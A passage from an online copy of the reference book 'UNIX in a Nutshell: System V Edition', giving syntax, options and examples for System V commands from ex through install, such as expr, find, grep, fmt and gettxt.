Supply a key to encrypt or decrypt file using crypt.

-C

Same as -x but assume that file began in encrypted form.

Examples

Either of the following examples will apply the ex commands in exscript to text file doc:

ex -s doc < exscript
cat exscript | ex -s doc

Previous: Reference: eqn | UNIX in a Nutshell: System V Edition | Next: Reference: expr
Reference: eqn | Book Index | Reference: expr
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: expr

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ex Chapter 2
UNIX Commands 		Next: Reference: exstr

expr

expr arg1 operator arg2 [ operator arg3 ... ]

Evaluate arguments as expressions and print the result. Strings can be compared and searched. Arguments and operators must be separated by spaces. In most cases, an argument is an integer, typed literally or represented by a shell variable. There are three types of operators: arithmetic, relational, and logical. Exit status for expr is 0 (expression is nonzero and nonnull), 1 (expression is 0 or null), or 2 (expression is invalid).

Arithmetic operators

Use these to produce mathematical expressions whose results are printed.

+

Add arg2 to arg1.

-

Subtract arg2 from arg1.

*

Multiply the arguments.

/

Divide arg1 by arg2.

%

Take the remainder when arg1 is divided by arg2.

Addition and subtraction are evaluated last, unless they are grouped inside parentheses. The symbols *, (, and ) have meaning to the shell, so they must be escaped (preceded by a backslash or enclosed in single quotes).

Relational operators

Use these to compare two arguments. Arguments can also be words, in which case comparisons assume a < z and A < Z. If the comparison statement is true, the result is 1; if false, the result is 0. Symbols > and < must be escaped.

=

Are the arguments equal?

!=

Are the arguments different?

>

Is arg1 greater than arg2?

>=

Is arg1 greater than or equal to arg2?

<

Is arg1 less than arg2?

<=

Is arg1 less than or equal to arg2?

Logical operators

Use these to compare two arguments. Depending on the values, the result can be arg1 (or some portion of it), arg2, or 0. Symbols | and & must be escaped.

|

Logical OR; if arg1 has a non-zero (and non-null) value, the result is arg1; otherwise, the result is arg2.

&

Logical AND; if both arg1 and arg2 have a non-zero (and non-null) value, the result is arg1; otherwise, the result is 0.

:

Sort of like grep; arg2 is a pattern to search for in arg1. arg2 must be a regular expression in this case. If the arg2 pattern is enclosed in \( \), the result is the portion of arg1 that matches; otherwise, the result is simply the number of characters that match. By default, a pattern match always applies to the beginning of the first argument (the search string implicitly begins with a ^). To match other parts of the string, start the search string with .* .

Examples

Division happens first; result is 10:

expr 5 + 10 / 2

Addition happens first; result is 7 (truncated from 7.5):

expr \( 5 + 10 \) / 2

Add 1 to variable i; this is how variables are incremented in shell scripts:

i=`expr $i + 1`

Print 1 (true) if variable a is the string "hello":

expr $a = hello

Print 1 (true) if b plus 5 equals 10 or more:

expr $b + 5 \>= 10

In the examples below, variable p is the string "version.100". This command prints the number of characters in p:

expr $p : '.*'			Result is 11

Match all characters and print them:

expr $p : '\(.*\)'		Result is "version.100"

Print the number of lowercase letters at the beginning of p:

expr $p : '[a-z]*'		Result is 7

Match the lowercase letters at the beginning of p:

expr $p : '\([a-z]*\)'	Result is "version"

Truncate $x if it contains five or more characters; if not, just print $x. (Logical OR uses the second argument when the first one is 0 or null; i.e., when the match fails.)

expr $x : '\(.....\)' \| $x

In a shell script, rename files to their first five letters:

mv $x `expr $x : '\(.....\)' \| $x`

(To avoid overwriting files with similar names, use mv -i.)

Previous: Reference: ex | UNIX in a Nutshell: System V Edition | Next: Reference: exstr
Reference: ex | Book Index | Reference: exstr
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: exstr

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: expr Chapter 2
UNIX Commands 		Next: Reference: face

exstr

exstr [options] file

Extract strings from C source files, so that they can be stored in a database and retrieved at application run-time using the gettxt system call. With no options, exstr produces a grep-type list showing only filename and strings. exstr is one of several commands to use when customizing applications for international use.

Typical use involves three steps:

  1. Specify -e and the C source file, and redirect the output to a file. This creates a database of text strings and identifying information.

  2. Edit this database by adding information that was previously returned by the mkmsgs command.

  3. Specify -r and the C source file, using the edited database as input. This replaces hardcoded text strings with calls to gettxt. gettxt lets you access translated versions of text strings. (The strings reside in a directory specified by environment variable LC_MESSAGES.)

Options

-e

Extract text strings from file. (-e is not used with other options.) The information appears in this format:

file:line:field:msg_file:msg_num:string

file C source file from the command-line.
line

Line number on which the string is found in file

field

In-line numerical position of the string's beginning.

msg_file

Initially null, but later filled in when you edit the database. msg_file is the name of the list of message strings that you create by running the mkmsgs command.

msg_num

Initially null but filled in later. It corresponds to the order of the strings in msg_file.

-r

Replace strings in the source file with calls to gettxt.

-d

Use with -r to give the gettxt call a second argument, the original text string. This string will be printed as the fallback in case the gettxt call fails.

Example

Assume a C source file named proverbs.c:

main() {
     printf("Haste makes waste\n");
     printf("A stitch in time\n");
}

  1. First issue the command:

    % exstr -e proverbs.c > proverb.list

    proverb.list might look something like this:

    proverbs.c:3:8:::Haste makes waste\n
proverbs.c:4:8:::A stitch in time\n

  2. Run mkmsgs to create a message file (e.g., prov.US) that can be read by the gettxt call. If the two proverbs strings above are listed ninth and tenth in prov.US, then you would edit proverb.list as follows:

    proverbs.c:3:8:prov.US:9:Haste makes waste\n
proverbs.c:4:8:prov.US:10:A stitch in time\n

  3. Finally, specify -r to insert gettxt calls:

    % exstr -rd proverbs.c < proverb.list > Prov.c

    The international version of your program, Prov.c, now looks like this:

    extern char *gettxt();
main() {
  printf(gettxt("prov.US:9", "Haste makes\
      waste\n"));
  printf(gettxt("prov.US:10", "A\
      stitch in time\n"));
}

Previous: Reference: expr | UNIX in a Nutshell: System V Edition | Next: Reference: face
Reference: expr | Book Index | Reference: face
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: face

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: exstr Chapter 2
UNIX Commands 		Next: Reference: factor

face

face [options] [files]

Invoke the Framed Access Command Environment Interface and open files. By convention, each filename must be of the form Menu.string, Form.string, or Text.string, depending on the type of object being opened. If no files are specified, face opens the FACE menu along with the default objects specified by the environment variable LOGINWIN.

Options

-a afile

Load the list of pathname aliases specified in the file afile. Entries have the form alias=pathname. Once this file is loaded, you can use the shorthand notation $alias to refer to a long pathname.

-c cfile

Load the list of command aliases specified in the file cfile. This file allows you to modify the default behavior of FACE commands or create new commands.

-i ifile

Load file ifile, which specifies startup features such as the introductory frame, banner information, screen colors, and labels.

Previous: Reference: exstr | UNIX in a Nutshell: System V Edition | Next: Reference: factor
Reference: exstr | Book Index | Reference: factor
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: factor

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: face Chapter 2
UNIX Commands 		Next: Reference: false

factor

factor [num]

Produce the prime factors of num or wait for input.

Previous: Reference: face | UNIX in a Nutshell: System V Edition | Next: Reference: false
Reference: face | Book Index | Reference: false
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: false

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: factor Chapter 2
UNIX Commands 		Next: Reference: fgrep

false

false

A null command that returns an unsuccessful (nonzero) exit status. Normally used in Bourne shell scripts. See also true.

Example

while false
do
    commands
done

Previous: Reference: factor | UNIX in a Nutshell: System V Edition | Next: Reference: fgrep
Reference: factor | Book Index | Reference: fgrep
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: fgrep

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: false Chapter 2
UNIX Commands 		Next: Reference: file

fgrep

fgrep [options] [pattern] [files]

Search one or more files for lines that match a literal, text-string pattern. Because fgrep does not support regular expressions, it is faster than grep (hence fgrep, for fast grep). Exit status is 0 if any lines match, 1 if not, and 2 for errors. See also egrep and grep.

Options

-b

Precede each line with its block number.

-c

Print only a count of matched lines.

-e pat

Use this if pattern pat begins with - .

-ffile

Take a list of patterns from file.

-h

Print matched lines but not filenames (inverse of -l).

-i

Ignore uppercase and lowercase distinctions.

-l

List filenames but not matched lines.

-n

Print lines and their line numbers.

-s

Silent mode: print only error messages, and return the exit status.

-v

Print all lines that don't match pattern.

-x

Print lines only if pattern matches the entire line.

Examples

Print lines in file that don't contain any spaces:

fgrep -v ' ' file

Print lines in file that contain the words in spell_list:

fgrep -f spell_list file

Previous: Reference: false | UNIX in a Nutshell: System V Edition | Next: Reference: file
Reference: false | Book Index | Reference: file
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: file

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: fgrep Chapter 2
UNIX Commands 		Next: Reference: find

file

file [options] files

Classify the named files according to the type of data they contain. file checks the magic file (usually /etc/magic) to identify some file types.

Options

-c

Check the format of the magic file (files argument is invalid with -c ).

-flist

Run file on the filenames in list.

-h

Do not follow symbolic links.

-L

Test the file that is referenced by a symbolic link, rather than the link itself.

-mfile

Use file as the magic file instead of /etc/magic.

Many file types are understood. Output lists each filename, followed by a brief classification such as:

ascii text
c program text
c-shell commands
data
empty
iAPX 386 executable
directory
[nt]roff, tbl, or eqn input text
shell commands
symbolic link to ../usr/etc/arp

Example

List all files that are deemed to be troff/nroff input:

file * | grep roff

Previous: Reference: fgrep | UNIX in a Nutshell: System V Edition | Next: Reference: find
Reference: fgrep | Book Index | Reference: find
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: find

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: file Chapter 2
UNIX Commands 		Next: Reference: finger

find

find pathname(s) condition(s)

An extremely useful command for finding particular groups of files (numerous examples follow this description). find descends the directory tree beginning at each pathname and locates files that meet the specified conditions. At least one pathname and one condition must be specified. The most useful conditions include -print (which must be explicitly given to display any output), -name and -type (for general use), -exec and -size (for advanced users), and -mtime and -user (for administrators).

Conditions may be grouped by enclosing them in \( \) (escaped parentheses), negated with ! (use \! in the C shell), given as alternatives by separating them with -o, or repeated (adding restrictions to the match; usually only for -name, -type, -perm).

Conditions

-atime +n | -n | n

Find files that were last accessed more than n (+n), less than n (-n), or exactly n days ago. Note that find will change the access time of directories supplied as pathnames.

-cpio dev

Take matching files and write them on device dev, using cpio. (SVR3 only.)

-ctime +n | -n | n

Find files that were changed more than n (+n), less than n (-n), or exactly n days ago. Change refers to modification, permission or ownership changes, etc.; therefore, -ctime is more inclusive than -atime or -mtime.

-depth

Descend the directory tree, skipping directories and working on actual files first (and then the parent directories). Useful when files reside in unwritable directories (e.g., when using find with cpio).

-exec command { } \;

Run the UNIX command on each file matched by find, (provided command executes successfully on that file; i.e., returns a 0 exit status). When command runs, the argument { } substitutes the current file. Follow the entire sequence with an escaped semicolon (\;).

-follow

Follow symbolic links and track the directories visited (don't use this with -type l).

-fstype type

Find files that reside on file system type.

-group gname

Find files belonging to group gname. gname can be a group name or a group ID number.

-inum n

Find files whose inode number is n.

-links n

Find files having n links.

-local

Find files that physically reside on the local system.

-mount

Search for files that reside only on the same file system as pathname. (Use -xdev on BSD systems.)

-ls

Display matching files with associated statistics (as if run through ls -gilds.

-mtime +n | -n | n

Find files that were last modified more than n (+n), less than n (-n), or exactly n days ago.

-name pattern

Find files whose names match pattern. Filename metacharacters may be used, but should be escaped or quoted.

-ncpio dev

Take matching files and write them on device dev, using cpio -c.

-newer file

Find files that have been modified more recently than file; similar to -mtime.

-nogroup

Find files belonging to a group not in /etc/group.

-nouser

Find files owned by a user not in /etc/passwd.

-ok command { } \;

Same as -exec, but user must prompt (with a y) before command is executed.

-perm nnn

Find files whose permission flags (e.g., rwx) match octal number nnn exactly (e.g., 664 matches -rw-rw-r--). Use a minus sign to make a "wildcard" match of any specified bit (e.g., -perm -600 matches -rw-******, where * can be any mode).

-print

Print the matching files and directories, using their full pathnames.

-prune

"Prune" the directory tree of unwanted directory searches; that is, skip the directory most recently matched.

-size n[c]

Find files containing n blocks, or if c is specified, n characters long.

-type c

Find files whose type is c. c can be b (block special file), c (character special file), d (directory), p (fifo or named pipe), l (symbolic link), or f (plain file).

-user user

Find files belonging to a user name or ID.

Examples

List all files (and subdirectories) in your home directory:

find $HOME -print

List all files named chapter1 in the /work directory:

find /work -name chapter1 -print

List "memo" files owned by ann:

find /work /usr -name 'memo*' -user ann -print

Search the file system (begin at root) for manpage directories:

find / -type d -name 'man*' -print

Search the current directory, look for filenames that don't begin with a capital letter, and send them to the printer:

find . \! -name '[A-Z]*' -exec lp {} \;

Find and compress files whose names don't end with .Z:

compress `find . \! -name '*.Z' -print`

Remove all empty files on the system (prompting first):

find / -size 0 -ok rm {} \;

Skip RCS directories, but list remaining read-only files:

find . -name RCS -prune -o -perm 444 -print

Search the system for files that were modified within the last two days (good candidates for backing up):

find / -mtime -2 -print

Recursively grep for a pattern down a directory tree:

find /book -print | xargs grep '[Nn]utshell'

Previous: Reference: file | UNIX in a Nutshell: System V Edition | Next: Reference: finger
Reference: file | Book Index | Reference: finger
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: finger

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: find Chapter 2
UNIX Commands 		Next: Reference: fmli

finger

finger [options] users

Display data about one or more users, including information listed in the files .plan and .project in user's home directory. You can specify each user either as a login name (exact match) or as a first or last name (display information on all matching names). Networked environments recognize arguments of the form user@host and @host.

Options

-b

Omit user's home directory and shell from display.

-f

Used with -s to omit heading that normally displays in short format.

-h

Omit .project file from display.

-i

Show "idle" format, a terse format (like -s).

-l

Force long format (default).

-m

users must match usernames exactly, instead of also searching for a match of first or last names.

-p

Omit .plan file from display.

-q

Show "quick" format, the tersest of all (requires an exact match of username).

-s

Show short format.

-w

Used with -s to omit user's full name that normally displays in short format.

Previous: Reference: find | UNIX in a Nutshell: System V Edition | Next: Reference: fmli
Reference: find | Book Index | Reference: fmli
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: fmli

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: finger Chapter 2
UNIX Commands 		Next: Reference: fmt

fmli

fmli [options] files

Invoke the Form and Menu Language Interpreter and open files. By convention, each filename must be of the form Menu.string, Form.string, or Text.string, depending on the type of object being opened.

Options

-a afile

Load the list of pathname aliases specified in the file afile. Entries have the form alias=pathname. Once this file is loaded, you can use the shorthand notation $alias to refer to a long pathname.

-c cfile

Load the list of command aliases specified in the file cfile. This file allows you to modify the default behavior of FMLI commands or create new commands.

-i ifile

Load file ifile, which specifies startup features such as the introductory frame, banner information, screen colors, and labels.

Previous: Reference: finger | UNIX in a Nutshell: System V Edition | Next: Reference: fmt
Reference: finger | Book Index | Reference: fmt
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: fmt

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: fmli Chapter 2
UNIX Commands 		Next: Reference: fmtmsg

fmt

fmt [options] [files]

Fill and join text, producing lines of roughly the same length. (Unlike nroff, the lines are not justified.) fmt ignores blank lines and lines beginning with a dot (.) or with "From:". The emacs editor uses ESC-q to join paragraphs, so fmt is useful for other editors, such as vi. The following vi command fills and joins the remainder of the current paragraph:

!}fmt

Options

-c

Don't adjust the first two lines; align subsequent lines with the second line. Useful for paragraphs that begin with a hanging tag.

-s

Split long lines but leave short lines alone. Useful for preserving partial lines of code.

-w n

Create lines no longer than n columns wide. Default is 72. (Can also be invoked as -n for compatibility with BSD.)

-width

Create lines no longer than width; default is 72 columns.

Previous: Reference: fmli | UNIX in a Nutshell: System V Edition | Next: Reference: fmtmsg
Reference: fmli | Book Index | Reference: fmtmsg
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: fmtmsg

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: fmt Chapter 2
UNIX Commands 		Next: Reference: fold

fmtmsg

fmtmsg [options] text

Print text as part of a formatted error message on stderr (or on system console). text must be quoted as a single argument. fmtmsg is used in shell scripts to print messages in a standard format. Messages display as follows:

label:	severity:		text
TO FIX:	action		tag

You can define the MSGVERB variable to select which parts of the message to print. Each part is described with the options below.

Options

-a action

A string describing the first action to take in recovering the error. The string "TO FIX:" precedes the action string.

-c source

The source of the problem, where source is one of hard (hardware), soft (software), or firm (firmware).

-l label

Identify the message source with a text label, often of the form file:command.

-s severity

How serious the condition is. severity is one of halt, error, warn, or info.

-t tag

Another string identifier for the message.

-u types

Classify the message as one or more types (separated by commas). types can be one of the keywords appl, util, or opsys (meaning that the problem comes respectively from an application, utility, or the kernel), either of the keywords recov or nrecov (application will or won't recover), print (message displays on stderr), and console (message displays on system console).

Previous: Reference: fmt | UNIX in a Nutshell: System V Edition | Next: Reference: fold
Reference: fmt | Book Index | Reference: fold
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: fold

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: fmtmsg Chapter 2
UNIX Commands 		Next: Reference: ftp

fold

fold [option] [files]

Break the lines of the named files so that they are no wider than the specified width. fold breaks lines exactly at the specified width, even in the middle of a word.

Option

-w n

Create lines having width n (default is 80). (Can also be invoked as -n for compatibility with BSD.)

-n

create lines having width n (default is 80).

Previous: Reference: fmtmsg | UNIX in a Nutshell: System V Edition | Next: Reference: ftp
Reference: fmtmsg | Book Index | Reference: ftp
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ftp

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: fold Chapter 2
UNIX Commands 		Next: Reference: gcore

ftp

ftp [options] [hostname]

Transfer files to and from remote network site hostname. ftp prompts the user for a command. Type help to see a list of known commands.

Options

-d

Enable debugging.

-g

Disable filename globbing.

-i

Turn off interactive prompting.

-n

No auto-login upon initial connection.

-v

Verbose on. Show all responses from remote server.

Previous: Reference: fold | UNIX in a Nutshell: System V Edition | Next: Reference: gcore
Reference: fold | Book Index | Reference: gcore
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: gcore

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ftp Chapter 2
UNIX Commands 		Next: Reference: gencat

gcore

gcore [option] process_ids

Create ("get") a core image of each running process specified. The core image can be used with debugging utilities such as sdb. adb or dbx.

Option

-o file

Create core file named file.process_id (default is core.process_id).

Previous: Reference: ftp | UNIX in a Nutshell: System V Edition | Next: Reference: gencat
Reference: ftp | Book Index | Reference: gencat
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: gencat

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: gcore Chapter 2
UNIX Commands 		Next: Reference: get

gencat

gencat [option] database msgfiles

Append (or merge) messages contained in one or more msgfiles with the formatted message database file. If database doesn't exist, it is created. Each message in msgfile is preceded by a numerical identifier. Comment lines can be added by using a dollar sign at the beginning of a line, followed by a space or tab.

Option

-m

Build a single database that is backward-compatible with databases created by earlier versions of gencat.

Previous: Reference: gcore | UNIX in a Nutshell: System V Edition | Next: Reference: get
Reference: gcore | Book Index | Reference: get
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: get

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: gencat Chapter 2
UNIX Commands 		Next: Reference: getopts

get

get [options] files

An SCCS command. See Section 17.

Previous: Reference: gencat | UNIX in a Nutshell: System V Edition | Next: Reference: getopts
Reference: gencat | Book Index | Reference: getopts
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: getopts

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: get Chapter 2
UNIX Commands 		Next: Reference: gettxt

getopts

getopts string name [arg]

Same as built-in Bourne shell command getopts. See Section 4.

Previous: Reference: get | UNIX in a Nutshell: System V Edition | Next: Reference: gettxt
Reference: get | Book Index | Reference: gettxt
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: gettxt

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: getopts Chapter 2
UNIX Commands 		Next: Reference: gprof

gettxt

gettxt msgfile:msgnum [default_message]

Obtain the message that resides in file msgfile and whose message ID is msgnum. msgnum is a number from 1 to n, where n is the number of messages in msgfile. gettxt searches for msgfile in directory /usr/lib/locale/locale/LC_MESSAGES, where locale is the language in which the message strings have been written. The value of locale is set by environment variable LC_MESSAGES, or failing that, the LANG environment variable. If neither is set, locale defaults to a directory named C. If gettxt fails, it displays default_message or (if none is specified) the string, "Message not found!!"

Previous: Reference: getopts | UNIX in a Nutshell: System V Edition | Next: Reference: gprof
Reference: getopts | Book Index | Reference: gprof
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: gprof

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: gettxt Chapter 2
UNIX Commands 		Next: Reference: grep

gprof

gprof [options] [objfile [pfile]]

Solaris 2.0 only. Display call-graph profile data of C programs. Programs compiled with the -pg option of cc (and other compilers) produce a call-graph profile file pfile, whose default name is gmon.out. The specified object file objfile (a.out by default) contains a symbol table that is read and correlated with pfile. See also prof and lprof

Options

-a

Don't print statically declared functions.

-b

Brief; don't print field descriptions in the profile.

-c

Find the program's static call-graph. Call counts of 0 indicate static-only parents or children.

-e name

Don't print the graph profile entry for the routine name. -e may be repeated.

-E name

Like -e above. In addition, during time computations, omit the time spent in name.

-f name

Print the graph profile entry only for routine name. -f may be repeated.

-F name

Like -f above. In addition, during time computations, use only the times of the printed routines. -F may be repeated, and it overrides -E.

-s

With this option you supply one or more existing pfiles. Sum the information in all specified profile files and send it to a profile file called gmon.sum. Useful for accumulating data across several runs.

-z

Show routines that have zero usage. Useful with -c to find out which routines were never called.

Previous: Reference: gettxt | UNIX in a Nutshell: System V Edition | Next: Reference: grep
Reference: gettxt | Book Index | Reference: grep
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: grep

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: gprof Chapter 2
UNIX Commands 		Next: Reference: groups

grep

grep [options] regexp [files]

Search one or more files for lines that match a regular expression regexp. Regular expressions are described in Section 6. Exit status is 0 if any lines match, 1 if not, and 2 for errors. See also egrep and fgrep.

Options

-b

Precede each line with its block number.

-c

Print only a count of matched lines.

-h

Print matched lines but not filenames (inverse of -l).

-i

Ignore uppercase and lowercase distinctions.

-l

List filenames but not matched lines.

-n

Print lines and their line numbers.

-s

Suppress error messages for nonexistent or unreadable files.

-s

Silent mode: print only error messages, and return the exit status.

-v

Print all lines that don't match regexp.

-w

Restrict regexp to matching a whole word (like using < and >> in vi).

Examples

List the number of users who use the C shell:

grep -c /bin/csh /etc/passwd

List header files that have at least one #include directive:

grep -l '^#include' /usr/include/*

List files that don't contain pattern:

grep -c pattern files | grep :0

Previous: Reference: gprof | UNIX in a Nutshell: System V Edition | Next: Reference: groups
Reference: gprof | Book Index | Reference: groups
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: groups

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: grep Chapter 2
UNIX Commands 		Next: Reference: head

groups

groups [user]

Show the groups that user belongs to (default is your groups). Groups are listed in /etc/passwd and /etc/group.

Previous: Reference: grep | UNIX in a Nutshell: System V Edition | Next: Reference: head
Reference: grep | Book Index | Reference: head
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: head

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: groups Chapter 2
UNIX Commands 		Next: Reference: help

head

head [-n] [files]

Print the first few lines of one or more files. Use -n to print the first n lines (default is 10).

Examples

Display the first 20 lines of phone_list:

head -20 phone_list

Display the first ten phone numbers having a 202 area code:

grep '(202)' phone_list | head

Previous: Reference: groups | UNIX in a Nutshell: System V Edition | Next: Reference: help
Reference: groups | Book Index | Reference: help
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: help

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: head Chapter 2
UNIX Commands 		Next: Reference: hostid

help

help [commands | error_codes]

An SCCS command. See Section 17.

Previous: Reference: head | UNIX in a Nutshell: System V Edition | Next: Reference: hostid
Reference: head | Book Index | Reference: hostid
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: hostid

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: help Chapter 2
UNIX Commands 		Next: Reference: hostname

hostid

/usr/ucb/hostid

Print the hexadecimal ID number of the host machine.

Previous: Reference: help | UNIX in a Nutshell: System V Edition | Next: Reference: hostname
Reference: help | Book Index | Reference: hostname
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: hostname

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: hostid Chapter 2
UNIX Commands 		Next: Reference: iconv

hostname

/usr/ucb/hostname [newhost]

Print the name of the host machine. Often the same as uname. A privileged user can change the host name to newhost.

Previous: Reference: hostid | UNIX in a Nutshell: System V Edition | Next: Reference: iconv
Reference: hostid | Book Index | Reference: iconv
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: iconv

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: hostname Chapter 2
UNIX Commands 		Next: Reference: id

iconv

iconv -f from_encoding -t to_encoding [file]

Convert the contents of file from one character set (from_encoding) to another (to_encoding). If the destination character set provides no equivalent for a character, it is converted to an underscore (_). Supported conversion sets are listed in the directory /usr/lib/iconv.

Previous: Reference: hostname | UNIX in a Nutshell: System V Edition | Next: Reference: id
Reference: hostname | Book Index | Reference: id
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: id

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: iconv Chapter 2
UNIX Commands 		Next: Reference: install

id

id [ -a ]

List user and group IDs; list all groups with -a.

Previous: Reference: iconv | UNIX in a Nutshell: System V Edition | Next: Reference: install
Reference: iconv | Book Index | Reference: install
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: install

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: id Chapter 2
UNIX Commands 		Next: Reference: ipcrm

install

install [options] file [directories]

